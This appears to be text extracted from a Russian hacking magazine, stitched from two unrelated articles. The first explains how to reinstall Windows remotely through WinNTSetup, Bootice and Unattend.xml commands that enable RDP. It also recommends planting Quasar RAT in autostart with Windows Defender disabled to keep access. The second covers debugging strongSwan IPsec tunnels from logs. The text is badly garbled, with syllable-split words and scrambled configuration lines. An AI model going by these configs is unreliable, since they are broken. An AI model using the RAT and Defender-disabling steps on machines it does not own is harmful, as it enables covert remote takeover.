(Boot  Configuration  Data).  Нам  она  понадо бит ся,  что бы  зас тавить  заг рузчик
вин ды гру зить нашу све жеус танов ленную сис тему вмес то сущес тву ющей.

Bootice

Bootice

Нам важ но не потерять  уда лен ный дос туп пос ле пере уста нов ки,  ведь новую
сис тему  надо  еще  нас тро ить.  Пос коль ку  изна чаль но  про цеду ра  нуж на  была
на  VPS,  в  качес тве  уда лен ного  дос тупа  исполь зовал ся  RDP,  под  который  я
и  делал  этот  метод.  Если  ты  исполь зуешь  дру гое  средс тво,  я  рас ска жу,
как быть с ним, поз же. В слу чае же с RDP сох ранение дос тупа обес печива‐ 
ется редак тирова нием реес тра пос ле уста нов ки, пусть и авто мати чес ким.

WARNING

Лю бое  вме шатель ство  в  заг рузоч ный  код,  в  том
чис ле  пере уста нов ка  ОС  (а  осо бен но  пере уста‐ 
нов ка  неш татным  спо собом),  может  при вес ти
к труд но вос ста нови мому «кир пичу». Все опи сан‐ 
ное  делай,  толь ко  ког да  соз дашь  копию  дан ных
или если уме ешь их вос ста нав ливать!

СНЕСТИ И НАКАТИТЬ
Те перь, ког да весь софт ска чан и под готов ка завер шена, под клю чай ся к кли‐ 
енту и прис тупай!

Разметка диска
Пер во‐напер во нуж но выделить мес то под новую ОС. На раз дел с сущес тву‐ 
ющей,  как бы ни  хотелось,  уста новить не получит ся. Поэто му откры вай дис‐ 
петчер дис ков и соз давай новый раз дел в NTFS. По раз меру мень ше 10 Гбайт
ста вить не сле дует.

Те перь, ког да мы соз дали новый раз дел (я соз дал око ло 60 Гбайт), уста нав‐ 
лива ем.

WinNTSetup
От кры ваем  прог рамму WinNTSetup,  вспо мина ем,  какую  вер сию Windows мы
будем ста вить, выбира ем соот ветс тву ющую вклад ку ввер ху окна. Я искрен не
верю, что ты не будешь ста вить ни Windows XP, ни Windows 2000, так что опи‐ 
сание уста нов ки для них опу щу. Тем более что про цесс не силь но отли чает ся
и прог рамма дает мно жес тво под ска зок.

Те перь  давай  раз берем ся  с  наз начени ем  нас тро ек  прог раммы.
Для удобс тва раз мечу их циф рами.

1. Эти две вклад ки управля ют вер сией уста нав лива емой Windows. По умол‐ 
чанию откры та вто рая вклад ка (на скрин шоте), которая поз воля ет уста нов‐ 
ку всех сов ремен ных вер сий вин ды. Пер вая вклад ка име ет нес коль ко дру‐ 
гой набор тви ков и воз можнос тей тон ко нас тро ить сис тему перед уста нов‐ 
кой.

2. Тут нуж но ука зать путь к фай лу WIM/ESD с Windows. ISO не пой дет. Что бы
вый ти из этой ситу ации, мож но извлечь нуж ный файл из  ISO любым сов‐ 
ремен ным архи вато ром либо смон тировать его UltraISO или DaemonTools.
Кста ти,  если  уже  уста нов ленная ОС — Windows  10,  смон тировать  образ
(прав да,  не  вся кий)  мож но  пря мо  про вод ником  Windows!  Тог да  ничего
копиро вать не при дет ся.

3. Тут выбира ется заг рузоч ный диск. Не тот, на который уста нов лена текущая
ОС, а имен но  . По умол чанию его не вид но, но при запус ке
прог рамма мон тиру ет его на  , как на скрин шоте. Там находит ся EFI‐заг‐ 
рузчик и его обвязка, так что немыты ми руками туда луч ше не лезть. И на
MBR‐, и на GPT‐дис ках этот раз дел зовет ся «Зарезер вирова но сис темой»,
но на EFI  (GPT) он отформа тиро ван в FAT32, а на BIOS  (MBR) — в NTFS.
Как  видишь,  для  скрин шотов  я  исполь зую  два  компь юте ра:  основной
на  MBR  (тут  нор маль ную  под дер жку  UEFI,  увы,  не  завез ли)  и  тес товый
на GPT. Короче, не обра щай вни мания на раз ницу на скрин шотах.

заг рузоч ный

Z:

4. Это, пожалуй, самое прос тое. Нуж но толь ко выб рать новосоз данный раз‐ 
дел. Боль ше ничего тро гать не надо. На нем могут быть и дру гие фай лы,
уста нов ке это не помеша ет. Но луч ше, конеч но, ста вить на чис тый диск.

5. В  этом  спис ке  появят ся  редак ции  сис темы,  которые  мож но  уста новить.
Как ты пом нишь, в одном  ISO могут лежать нес коль ко редак ций Windows:
к  при меру,  Enterprise  и  Pro;  а  еще  они  могут  быть  раз ной  раз ряднос ти. 

 поз воля ет выб рать уста нав лива емую редак цию, если их боль‐ 
ше одной. Еще один плю сик к удобс тву! :)
WinNTSetup

6. Тут у нас сра зу две близ кие по наз начению нас трой ки.   поз воля‐ 
ет  задать  кас томный    для  уста нов ки.  Мы  будем  исполь‐ 
зовать  эту  фун кцию  для  сох ранения  уда лен ного  дос тупа. 
поз воля ет  интегри ровать  драй веры  в  уста нав лива емую  сис тему.  Если
у тебя есть диск со спе циаль ными драй верами для обо рудо вания кли ента,
их мож но уста новить сра зу же, не дожида ясь перезаг рузки.

Unattend
Unattend.xml

Add  drivers

7. Эта  фун кция  поз воля ет  переназ начить  бук ву  сис темно го  дис ка  в  новой
Windows. Если даже ты ста вишь сис тему на диск  , как я в рам ках демо, то
эта фун кция при кажет смон тировать раз дел  как диск    (или любой дру‐ 
гой) в новой сис теме.

D:
C:

8. Пос ледние  три  фун кции  управля ют  режимом  уста нов ки  и  тви ками  новой
сис темы.

Спер ва рас смот рим  : он поз воля ет вклю чить сжа тие Compact OS (даже
нес коль кими  спо соба ми!)  или  оста вить  ста рый  доб рый  WIMBOOT.  На  сов‐ 
ремен ных  SSD  опция  не  силь но  вос тре бован ная,  но  на  моделях  пос тарше
еще  акту аль ная. Она  поз воля ет  неил люзор но  сэконо мить мес то  на  накопи‐ 
теле, а еще нес коль ко уско рить заг рузку.

Mode

Кноп ка   откры вает широкие воз можнос ти для модифи кации новой
сис темы, в том чис ле отклю чение ненуж ных ком понен тов Windows, вро де Win‐
dows  Defender  и  гибер нации,  мощ ный  тюнинг  про вод ника  и  реес тра.  Если
тебе чего‐то не хва тило — мож но дописать самос тоятель но.

Tweaks

Дос тупные тви ки

  поможет  уста новить  Windows  на  вир туаль ный  диск  VHD  или  VHDX,
который  затем  мож но  исполь зовать  в  сре дах  вир туали зации  или  для  соз‐ 
дания готово го к раз верты ванию обра за с уже уста нов ленной ОС. Лич но мне
эта фун кция так и не при годи лась, но ска зать я о ней дол жен был.

VHD

Те перь, ког да фун кции прог раммы понят ны, мож но прис тупать к собс твен но
уста нов ке. Мон тируй ISO (или дру гим спо собом дос тавай из него уста новоч‐ 
ный WIM/ESD),  загоняй  его  в  прог рамму,  выбирай  раз делы,  редак цию  сис‐ 
темы и тви ки (их я под робно рас смат ривать не буду — наз вания впол не точ но
переда ют наз начение).

Продолжение статьи →
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АДМИН  НАЧАЛО СТАТЬИ←

Сохранение доступа
Преж де  чем  ты  наж мешь  кноп ку  Setup,  про шу  вспом нить  о  необ ходимос ти
сох ранить уда лен ный дос туп к машине. Делать это мы будем с помощью фай‐ 
ла  .  В  нем,  кро ме  нас тро ек,  которые  появ ляют ся  на  экра не
при пер вом запус ке, мож но задать и коман ды, которые будут выпол нены пос‐ 
ле уста нов ки. Этим мы и вос поль зуем ся: RDP‐сер вер вклю чает ся в реес тре,
который мож но редак тировать с помощью коман дной стро ки. Пос ле выпол‐ 
нения команд из фай ла пос леду ет перезаг рузка, так что сер вер точ но вклю‐ 
чит ся.

Unattend.xml

И еще один момент, который сто ит пом нить: на реаль ном сер вере обыч но
не сра зу «белый» адрес, а «серый» адрес, получа емый по DHCP от вир туаль‐ 
ного  (или  не  очень)  ком мутато ра,  от  которо го  нас тро ен  проб рос  пор тов
на  наш  сер вер.  Если  заб лагов ремен но  не  была  вклю чена  дос тупность  всех
пор тов  из  интерне та,  а  нас тро енный  RDP‐порт  отли чает ся  от  стан дар тно го
(3389), то пос ле пере уста нов ки и вклю чения RDP мы не смо жем под клю чить‐ 
ся, ведь нуж ный порт не проб рошен. Так что перед пере уста нов кой при дет ся
пос мотреть, на какой порт наз начен RDP, и перепи сать его в  .Unattend.xml

Что делать пользователям других средств удаленного
доступа
В общем слу чае — курить бам бук. Тот же TeamViewer не поз воля ет авто мати‐ 
чес ки уста новить кли ент и вой ти в акка унт в нем. AnyDesk генери рует новый
иден тифика тор на новой сис теме, сле дова тель но, он тоже бес полезен.

В качес тве аль тер нативы мож но исполь зовать ста рый доб рый Quasar RAT,
бла го он бес плат ный и на новой сис теме (если отклю чить Windows Defender)
ник то ему мешать не будет. У  тебя,  конеч но, есть свой сер вер,  так что пос‐ 
тавить на него админку Quasar и сло вить кон нект от кли ента будет не проб‐ 
лема.

Нуж но  соб рать  через  админку  кли ент ский  бинар ник,  который  положить
в  авто заг рузку  новой  сис темы.  Сде лать  это  мож но  тысячей  и  одним  спо‐ 
собом,  так  что  выбирай  удоб ный  и  делай.  Затем,  ког да  все  манипу ляции
в ста рой ОС будут завер шены, ты перезаг рузишь компь ютер, и будет запуще‐ 
на и нас тро ена новая сис тема. В кон це нас трой ки выпол нится наш скрипт. Он
уста новит  кли ент  Quasar  в  сис тему,  пос ле  чего  та  будет  еще  раз  перезаг‐ 
ружена, а ты сло вишь кон нект. Далее через режим уда лен ного рабоче го сто‐ 
ла  мож но  про дол жать  нас трой ку  све жеус танов ленной  Windows  или  мож но
уста новить более удоб ный AnyDesk или TeamViewer и про дол жить через них.

Да, понимаю, это выг лядит как кос тыль (которым, собс твен но, и явля ется),
но оно работа ет. Если у тебя есть спо соб получ ше — ты зна ешь, где находят‐ 
ся ком мента рии.

Unattend.xml
Во обще,  файл    я  соз давал  с  помощью  онлай нового  сер виса

. Но генери руемый им файл содер жит мно го мусора, так что его
я пра вил вруч ную.

Unattend.xml
Windows AFG

Ори гиналь ный Unattend.xml, генери руемый сер висом

Из всех про ходов (а они зада ются в кон тей нерах вида 
)  нас  инте ресу ют  толь ко  два  пос ледних  —    и  .

Имен но  они  зада ют  поведе ние  прог раммы  пер вичной  нас трой ки  сис темы
и  хра нят  отве ты  на  воп росы,  которые  появ ляют ся  при  пер вом  запус ке.
Короче, уда ляй стро ки с 13‐й по 164‐ю, они нам не понадо бят ся. Ком мента‐ 
рий в начале фай ла тоже выкиды вай — полез ной наг рузки он не несет, толь ко
рек ламу дела ет.

<settings pass="...
"> specialize oobeSystem

На пом ню задачу: отве тить на все воп росы при уста нов ке авто мати чес ки,
соз дать  поль зовате ля  и  добавить  его  в  груп пу  адми нис тра торов  и  поль‐ 
зовате лей  уда лен ного  рабоче го  сто ла,  вклю чить  и  нас тро ить  RDP  и  увес ти
комп в перезаг рузку.

От веты на воп росы у нас уже есть — спа сибо сер вису генера ции фай лов.
Соз дание поль зовате ля тоже есть, но оно почему‐то не поз воля ет добавить
его в нес коль ко групп разом. RDP вклю чает ся и нас тра ивает ся из коман дной
стро ки,  что  тоже  мож но  про писать  в  файл.  Ну  а  перезаг рузка  выпол нится
авто мати чес ки пос ле окон чания обра бот ки нашего фай ла.

Да вай вни матель но рас смот рим про ход  . Пер вым делом у нас
идет  автовход  поль зовате ля  (под контей нер  ).  Даль‐ 
ше  —  отклю чение  лиш них  воп росов  при  уста нов ке  ( ).  Пос ле  это го
начина ется самое вкус ное — соз дание поль зователь ских акка унтов, где пря‐ 
мым  тек стом  ука зыва ется  логин и пароль нового акка унта,  зада ется акка унт
вла дель ца  устрой ства,  а  еще  коман ды,  которые  дол жны  быть  выпол нены
при уста нов ке. Их‐то мы и будем исполь зовать.

oobeSystem
component/AutoLogon

OOBE

По  умол чанию  уже наз начено  три  коман ды:  нас трой ка  типа отоб ражения
панели  управле ния,  нас трой ка  раз мера  знач ков  и  отклю чение  про туха ния
пароля  поль зовате ля. Мы можем  добавить  и  свои  коман ды  по  образцу,  но,
что бы ты не путал ся, я при веду код, который нуж но вста вить пос ле сущес тву‐ 
ющих команд.

 <SynchronousCommand wcm:action="add">
    4<Order> </Order>
   <CommandLine>reg add "HKEY_LOCAL_MACHINE\System\
CurrentControlSet\Control\Terminal Server\WinStations\RDP‐Tcp" /v 
PortNumber /t REG_DWORD /d 0x00000d3d /f</CommandLine>
    false<RequiresUserInput> </RequiresUserInput>
   <Description>Set RDP port</Description>
</SynchronousCommand>

 <SynchronousCommand wcm:action="add">
    5<Order> </Order>
   <CommandLine>reg add "HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t 
REG_DWORD /d 0 /f</CommandLine>
    false<RequiresUserInput> </RequiresUserInput>
   <Description>Enable RDP</Description>
</SynchronousCommand>

 <SynchronousCommand wcm:action="add">
    6<Order> </Order>
   <CommandLine>netsh advfirewall firewall set rule group="remote 
desktop" new enable=Yes</CommandLine>
    false<RequiresUserInput> </RequiresUserInput>
   <Description>Enable RDP on firewall</Description>
</SynchronousCommand>

 <SynchronousCommand wcm:action="add">
    7<Order> </Order>
   <CommandLine>net localgroup "Remote Desktop Users" xakep_ru /add
</CommandLine>
    false<RequiresUserInput> </RequiresUserInput>
   <Description>Allow login via RDP</Description>
</SynchronousCommand>

 <SynchronousCommand wcm:action="add">
    8<Order> </Order>
   <CommandLine>shutdown ‐r ‐f ‐t 120</CommandLine>
    false<RequiresUserInput> </RequiresUserInput>
   <Description>Schedule a reboot</Description>
</SynchronousCommand>

В  стро ке  2  мы  видим  параметр  :  он  зада ет,  какой  по  поряд ку  выпол‐ 
нится  коман да.  Номера  не  дол жны  пов торять ся.  Параметр 
и зада ет выпол няемую коман ду. Осталь ное не осо бо важ но.

Order
CommandLine

В  пер вой  коман де  мы  зада ем  порт  RDP  перед  вклю чени ем.  Зна чения
переда ются толь ко в шес тнад цатерич ной фор ме, так что не забудь испра вить
это  зна чение,  если  пот ребу ется.  По  умол чанию  я  оста вил    —
3389  в  десятич ном  виде. Вто рая  коман да  вклю чает RDP,  раз решая  под клю‐ 
чение к задан ному выше пор ту.

0x00000d3d

Треть ей коман дой мы явно раз реша ем под клю чения к RDP на фай рво ле,
если ты по каким‐то при чинам не вырезал его из сис темы при уста нов ке.

За тем добав ляем нашего нового поль зовате ля (у меня  ) в груп пу
поль зовате лей уда лен ного рабоче го сто ла и пос ледней коман дой пла ниру ем
перезаг рузку через две минуты (120 секунд), если она не выпол нится самос‐ 
тоятель но.

xakep_ru

Важ ный  момент:  все  нас трой ки  дуб лиру ются,  то  есть  для  32‐  и  64‐раз‐ 
рядной Windows нас трой ки могут быть раз ные! Вно ся изме нения,  не  забудь
про дуб лировать их в раз деле с дру гой раз рядностью, что бы потом не крас‐ 
неть от сты да.

Установка
Те перь  все,  взво ди  галоч ку  Unattend  и  уста нав ливай!  Пос ле  запус ка  прог‐ 
рамма еще раз зап росит под твержде ние уста нов ки. Вдруг ты слу чай но выб‐ 
рал  пра виль ные  фай лы  и  вооб ще  ничего  уста нав ливать  не  хочешь?  Есть
еще вре мя отка зать ся…

Прог рамма за работой

Го тово!

Как видишь, про цесс весь ма быс трый. Оста лось толь ко нас тро ить заг рузчик.

Другой способ
Как  я  поз же  вспом нил,  мож но  не  парить  себе  мозг  с  фай лами  отве тов
и  коман дной  стро кой,  если  дос тупна  вир туали зация.  Мож но  проб росить
в вир туал ку реаль ный диск, уста новить ОС на дру гой раз дел и нас тро ить ее
по сво ему вку су пря мо в вир туал ке, что зна читель но удоб нее. В рав ной мере
это  отно сит ся  и  к  Linux‐based‐дис три бути вам.  Жаль  толь ко,  что  на  VPS
в подав ляющем боль шинс тве слу чаев вир туали зация недос тупна, так что опи‐ 
сан ный выше «кол хозный» метод забывать рано.

Bootice
Ес ли при зап росе об обновле нии заг рузоч ного  кода  ты отве тил,  что  хочешь
видеть  в  заг рузоч ном  меню  все  уста нов ленные  вер сии  Windows,  то  сей час
будь осо бен но вни мате лен.

От кры вай Bootice, перехо ди на вклад ку BCD, выбирай BCD of current sys‐
tem, жми Easy mode и уда ляй ненуж ную заг рузоч ную запись. Оставша яся дол‐ 
жна выг лядеть как‐то похоже на скрин шот.

Так же  желатель но  на  сис темах  с  BIOS  (MBR)  про верить,  что бы  в MBR  был
про писан  нуж ный  заг рузчик.  Для  пол ной  уве рен ности  его  мож но  при нуди‐ 
тель но  перепи сать  заг рузчи ком  вин ды.  Дела ется  это  по  нажатию  Process
MBR в глав ном окне прог раммы (не забудь выб рать нуж ный диск!).

На этом эта пе мож но было бы спо кой но перезаг рузить ся и закон чить статью,
но, если  ты исполь зовал дру гое средс тво  уда лен ного дос тупа, для  тебя все
толь ко начина ется… Впро чем, давай не будем о грус тном.

ЖИЗНЬ ПОСЛЕ WINDOWS
Ес ли  все  прош ло  как  надо,  то  пос ле  некото рого  ожи дания  в  неведе нии  ты
получишь рабочую машину  с  уда лен ным дос тупом и  новой ОС. Вре мя  ожи‐ 
дания всег да раз ное и сос тавля ет от 3 до 15 минут, в зависи мос ти от задум‐ 
чивос ти железа целевой машины. Тут мож но ска зать толь ко одно — тер пение.
В  худ шем  слу чае  компь ютер  заг рузит ся  обратно  в  ста рую  сис тему  и  у  тебя
будет шанс поп робовать сно ва.

Ус пешная пере уста нов ка

Пос ле  уста нов ки  и  заг рузки  мож но  нас тра ивать  новую  ОС,  ста вить  софт,
драй веры… Тут не мне тебя учить.

ЗАКЛЮЧЕНИЕ
Я мог бы закон чить целой лек цией о том, что этот метод недопус тимо исполь‐ 
зовать для уго на чужих сер веров и вре дитель ства, но я наде юсь, что ты и так
в кур се воз можных пос ледс твий. Так что исполь зуй эти зна ния с умом!
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IPsec задумы вал ся  как  уни вер саль ный стек
про токо лов  для  VPN,  пос ле  которо го
никаких дру гих  уже не нуж но. Само сущес‐ 
тво вание OpenVPN, WireGuard и мно жес тва
дру гих про токо лов доказы вает, что дос тичь
сво ей  цели  раз работ чикам  IPsec  не  уда‐ 
лось.

Це на абсо лют ной уни вер саль нос ти и гиб кости — чрез мерная слож ность про‐ 
токо ла,  а  зна чит,  и  слож ность  его  нас трой ки  и  отладки.  Кро ме  того,  пер вая
вер сия  IPsec  раз рабаты валась  сов сем  в  дру гое  вре мя,  ког да  динами чес ких
адре сов, NAT и мобиль ных под клю чений не сущес тво вало. Поменять архи тек‐ 
туру  про токо ла  было  уже  невоз можно,  поэто му  он  оброс  рас ширени ями
и стал еще слож нее.

Ка залось бы, мож но прос то забыть его как страш ный сон и поль зовать ся
более удоб ными решени ями вро де того же OpenVPN. Но не все так прос то —
IPsec оста ется единс твен ным общеприз нанным стан дартом и единс твен ным
про токо лом,  который  под держи вает  сетевое  обо рудо вание  всех  про изво‐ 
дите лей.

Сер висам VPN, приз ванным повысить при ват ность,  ник то не дик тует,  что
исполь зовать,  пос коль ку на их сер верах и  кли ентах ОС обще го наз начения,
на  которую мож но  пос тавить  что  угод но.  В  кор поратив ных  сетях  такой  сво‐ 
боды выбора может и не быть. А уж если ты соеди няешь две сети на обо рудо‐ 
вании раз ных пос тавщи ков, то выбора может не быть вооб ще — толь ко IPsec.

В общем, если ты занима ешь ся сетевым адми нис три рова нием, избе жать
работы с IPsec вряд ли получит ся, нес мотря на всю его слож ность и неудобс‐ 
тва. И если бы все огра ничи валось слож ностью самого про токо ла! Зачас тую
«веселья»  добав ляют  раз личия  реали заций,  раз ные  умол чания  в  них  и  не
впол не  адек ватные  адми ны  на  дру гой  сто роне,  от  которых  не  дож дешь ся
никакой  отла доч ной  информа ции.  В  этом  слу чае  нас трой ка  и  отладка  тун‐ 
нелей прев раща ется в гадание по логам.

При этом логи  IPsec зачас тую пол ны спе цифич ной тер миноло гии и лег ко
могут  сму тить  нович ка,  еще  нез накомо го  с  про токо лом  в  деталях.  В  этой
статье  мы  рас смот рим  ряд  воз можных  оши бок  нас трой ки  и  их  про явле ния
в логах.

В  качес тве при мера мы возь мем  . Эта  сво бод ная реали зация
IPsec  (вер нее,  про токо ла  IKE)  весь ма  популяр на  и  исполь зует ся  мно гими
дис три бути вами  Linux  и  FreeBSD для  сетевых  устрой ств: OpenWRT,  pfSense,
Sophos, VyOS и дру гими.

strongSwan

ОСНОВЫ
Про токол IPsec сос тоит из двух час тей: про токо ла IKE (Internet Key Exchange)
и про токо лов AH и ESP (Authentication Header и Encapsulated Security Payload).

Про токо лы AH и ESP отве чают за шиф рование тра фика и его аутен тифика‐ 
цию с помощью встро енных в заголо вок пакета под писей, они реали зова ны
в ядре ОС или в аппа рат ной час ти мар шру тиза тора. Для их работы тре бует ся
сог ласова ние парамет ров шиф рования. Набор из селек торов тра фика и нас‐ 
тро ек,  который  ука зыва ет  ядру,  какой  тра фик  и  как  шиф ровать,  называ ется
security  association  (SA).  Во  мно гих  сис темах  их    нас тро ить  вруч ную.
Нап ример, в Linux это дела ется коман дой  . На прак тике этот метод поч‐ 
ти не исполь зует ся из‐за тру доем кости.

мож но

ip xfrm

Для  авто мати зации  обме на  клю чами  и  сог ласова ния  нас тро ек  при меня‐ 
ется  про токол  IKE.  Его  реали зация —  это  обыч но  про цесс  в  прос транс тве
поль зовате ля; сам по себе он никакой тра фик не шиф рует, а прос то соз дает
security associations в ядре (в Linux — по про токо лу netlink). Имен но IKE обыч‐ 
но  нас тра ивают  сетевые  адми нис тра торы,  и  имен но  на  эта пе  сог ласова ния
парамет ров тун неля всплы вают все ошиб ки и несов мести мос ти в нас трой ках.

ПРАКТИКА
Итак,  давай  раз вернем  неболь шой  тес товый  полигон,  а  потом  раз берем ся
непос редс твен но с логами.

Поднимаем туннель
Преж де  все го  нам  понадо бят ся  две  машины  с  уста нов ленным  strongSwan
вер сии 5.2 или выше. Назовем их east и west. Прис воим им условные адре‐ 
са 192.0.2.10 и 203.0.113.10.

INFO

Ус ловные  пуб личные  адре са  пра виль нее  все го
брать  из  сетей,  спе циаль но  зарезер вирован ных
для при меров и докумен тации в  :RFC 5737
192.0.2.0/24•
198.51.100.0/24•
203.0.113.0/24•

То поло гия сети

Для  прос тоты мы огра ничим ся  ста тичес ким общим  клю чом  (pre‐shared  key),
хотя strongSwan под держи вает и клю чи RSA, и сер тифика ты x.509.

Сна чала соз дадим   и   для east./etc/ipsec.conf /etc/ipsec.secrets

 config setup

  ‐conn tunnel west
  = . . .left 192 0 2 10
  = . . .right 203 0 113 10
  = . . . /leftsubnet 10 20 30 0 24
  = . . . /rightsubnet 10 40 50 0 24
  = . . . /leftsubnet 10 20 30 0 24
  = ‐ ‐ ! ike aes128 sha1 modp2048
  =keyexchange ikev2
  =reauth no
  =ikelifetime 28800s
  =closeaction none
  = ‐ ! esp aes128 sha1
  =keylife 3600s
  =rekeymargin 540s
  =type tunnel
  =compress no
  =authby secret
  =auto start
  =%keyingtries forever

. . .   . . .  :   192 0 2 10 203 0 113 10 PSK "qwerty"

Те перь соз дадим   и   для west./etc/ipsec.conf /etc/ipsec.secrets

 config setup

  ‐conn tunnel east
  = . . .left 203 0 113 10
  = . . .right 192 0 2 10
  = . . . /leftsubnet 10 40 50 0 24
  = . . . /rightsubnet 10 20 30 0 24
  = . . . /leftsubnet 10 40 50 0 24
  = ‐ ‐ ! ike aes128 sha1 modp2048
  =keyexchange ikev2
  =reauth no
  =ikelifetime 28800s
  =closeaction none
  = ‐ ! esp aes128 sha1
  =keylife 3600s
  =rekeymargin 540s
  =type tunnel
  =compress no
  =authby secret
  =auto route
  =keyingtries 1

. . .   . . .  :   203 0 113 10 192 0 2 10 PSK "qwerty"

Про верить  сос тояния  тун нелей  мож но  коман дой  .
Если ты ниг де не ошиб ся, ты уви дишь там что‐то вро де такого:

sudo  ipsec  statusall

 

 

 

 

 

Security Associations (1 up, 0 connecting):
tunnel‐west[5]: ESTABLISHED 65 minutes ago, 192.0.2.10[192.0.2.10]...
203.0.113.10[203.0.113.10]
tunnel‐west[5]: IKEv2 SPIs: 625b6b882998fc83_i* edc6c365bf5aaabc_r, 
rekeying in 6 hours
tunnel‐west[5]: IKE proposal: AES_CBC_128/HMAC_SHA1_96/PRF_HMAC_SHA1/
MODP_2048

INFO

По гасить  или  под нять  тун нель  вруч ную  мож но
коман дами вида 

.
sudo ipsec up/down tun‐

nel‐west

Включаем отладочные сообщения
По  умол чанию  strongSwan  не  показы вает  в  логах  никаких  деталей  про исхо‐ 
дяще го. Это решение авто ров в чем‐то мож но понять — если все работа ет,
деталь ная запись диало га IKE будет прос то ненуж ным шумом.

Ес ли  у  тебя  есть  воз можность  пра вить фай лы  нас тро ек,  то  выбор  опций
там  .  При менить  изме нения  без  переза пус ка  демона  мож но
коман дой    либо  отправ кой  сиг нала  SIGHUP
про цес су charon.

весь ма  широк
swanctl  ‐‐reload‐settings

Увы,  в  спе циали зиро ван ных  сетевых  дис три бути вах  этой  воз можнос ти
может и не быть — они быва ют весь ма чувс тви тель ны к попыт кам что‐то сде‐ 
лать  в  обход  их  интерфей са.  Но  не  все  потеря но!  Если  у  тебя  есть  дос туп
по SSH, уро вень детали зации логов у работа юще го демона мож но поменять
коман дой  .sudo ipsec stroke loglevel ike 3

Уров ни детали зации быва ют от ‐1 (не писать ничего) до 4 (выводить все,
вплоть  до  сек ретных  клю чей).  Уро вень  3  вклю чает  вывод  дам пов  пакетов,
но не запись в логи сек ретной информа ции — опти маль но для наших целей.

INFO

В  IKE,  увы,  не пре дус мотрен механизм отправ ки
деталь ных  отче тов  об  ошиб ках  —  ини циато ру
обыч но при дет прос то no proposal chosen. Поэто‐ 
му  вклю чать  отла доч ные  сооб щения  и  смот реть
их  нуж но  на    сто роне.  Если  ты
вынуж ден  отла живать  нерабо тающий  тун нель,
переве ди  свой  мар шру тиза тор  в  пас сивный
режим, в strongSwan — опци ей  .

при нима ющей

auto=route

Несовместимые версии IKE
Нуж но пом нить,  что сущес тву ют две вер сии  IKE: ста рая  IKEv1 и новая  IKEv2.
Вто рая вер сия про токо ла реша ет очень мно го проб лем пер вой: опре деле ние
и  нас трой ка NAT  traversal  в  боль шинс тве  слу чаев  прос то  работа ет,  в  одном
тун неле  мож но  сов местить  нес коль ко  локаль ных  и  уда лен ных  сетей,  а  пол‐ 
ноцен ный механизм keepalive наконец поз волил обе им сто ронам видеть, что
тун нель все еще жив.

Од нако IKEv1 и IKEv2, по сути, раз ные и не впол не сов мести мые про токо‐ 
лы. До вер сии 5.0 в  strongSwan за них даже отве чали раз ные демоны  (pluto
и  charon).  В  новых  вер сиях  вся  фун кци ональ ность  объ еди нена  в  charon,
но  раз личий  меж ду  про токо лами мень ше  не  ста ло,  и  авто мати чес кий  даун‐ 
грейд с IKEv2 на IKEv1 все так же невоз можен.

В  strongSwan  вер сия  про токо ла  ука зыва ется  опци ей  .  Про‐ 
пишем в кон фиг сто роны east опцию  , переза пус тим тун‐ 
нель и пос мотрим, что будет. На east мы получим то самое весь ма рас плыв‐ 
чатое сооб щение no proposal chosen незави симо от детали зации логов.

keyexchange
keyexchange=ikev1

 

 

 

 

 
 

rtr‐east charon[13411]: 06[NET] sending packet: from 192.0.2.10[500] to 
203.0.113.10[500] (336 bytes)
rtr‐east charon[13411]: 08[NET] received packet: from 203.0.113.10[500] 
to 192.0.2.10[500] (36 bytes)
rtr‐east charon[13411]: 08[ENC] parsed IKE_SA_INIT response 0 [ N(
NO_PROP) ]
rtr‐east charon[13411]: 08[IKE] received NO_PROPOSAL_CHOSEN notify error
rtr‐east charon[13411]: 08[IKE] IKE_SA tunnel‐west[2] state change: CON‐
NECTING => DESTROYING

На  вто рой  сто роне  в  этом  слу чае  мож но  уви деть  сооб щение  no  IKE  config
found.

 

 

rtr‐west charon[14183]: 14[IKE] no IKE config found for 203.0.113.10...
192.0.2.10, sending NO_PROPOSAL_CHOSEN

Ре шение:  сооб щить  адми ну  вто рой  сто роны  свою  вер сию  IKE  и  поп росить
удос товерить ся в ее сов падении.

Неверный ключ
Ес ли  в  тво их  нас трой ках  адре са  мар шру тиза торов  про писа ны  явно,  сооб‐ 
щение будет вида MAC mismatched. Здесь MAC озна чает Message Authentica‐
tion Code.

 

 

rtr‐east charon[13411]: 16[IKE] tried 1 shared key for '192.0.2.10' ‐ 
'203.0.113.10', but MAC mismatched

Несовместимые опции шифрования и PFS
PFS (Perfect Forward Secrecy) — это механизм обес печения дол говре мен ной
крип тостой кос ти.  Суть  его  в  том,  что  на  осно ве  обще го  клю ча  вычис ляет ся
вре мен ный  сес сион ный  ключ. Сам по  себе общий  ключ  никог да  не  исполь‐ 
зует ся нап рямую: при уста нов ке соеди нения сра зу генери рует ся вре мен ный
ключ, который затем меня ется по рас писанию или при раз рыве соеди нения.
Таким обра зом, даже если зло умыш ленни ки под берут ключ, они получат толь‐ 
ко дос туп к тра фику текущей сес сии. Ког да вре мя дей ствия клю ча исте чет, им
при дет ся под бирать его заново, что неп рактич но.

Сес сион ный ключ вычис ляет ся с помощью алго рит ма Диф фи — Хел лма на
(DH), клас сичес кого или на осно ве эллипти чес ких кри вых.

Под ход  к  нас трой ке  PFS  в  сетевых  устрой ствах  быва ет  самым  раз ным.
В некото рых сис темах мож но встре тить нас трой ку вро де PFS enable/disable,
что  так  же  бес смыс ленно,  как  опция  «вклю чить  шиф рование».  Не  быва ет
«прос то»  шиф рования,  быва ет  кон крет ный  шифр  и  кон крет ный  режим  его
работы, нап ример AES‐128‐CBC. Не быва ет и «прос то» алго рит ма выработ ки
сес сион ных клю чей.

На прак тике опция «вклю чить PFS»,  , под разуме вает про токол
DH group 2  (modp1024). Кста ти, он  уже счи тает ся  уста рев шим и небезо пас‐ 
ным.  Быва ют  и  дру гие  вари анты,  так  что  нуж но  уточ нять  в  докумен тации.
Но мож но это уви деть и в логах.

как пра вило

При высоких  уров нях детали зации  strongSwan покажет  тебе  received pro‐
posals  (что  пред лага ет  ини циатор)  и  configured  proposals  (что  нас тро ено
на тво ей сто роне).

Для  экспе римен та  поменя ем  в  кон фиге  west  опцию 
на   и уви дим в логах сле дующее.

esp=aes128‐sha1!
esp=aes‐128‐sha1‐modp2048!

 

 

 

 

rtr‐west charon[14183]: 08[CFG] received proposals: ESP:AES_CBC_128/
HMAC_SHA1_96/MODP_2048/NO_EXT_SEQ
rtr‐west charon[14183]: 08[CFG] configured proposals: ESP:AES_CBC_128/
HMAC_SHA1_96/NO_EXT_SEQ
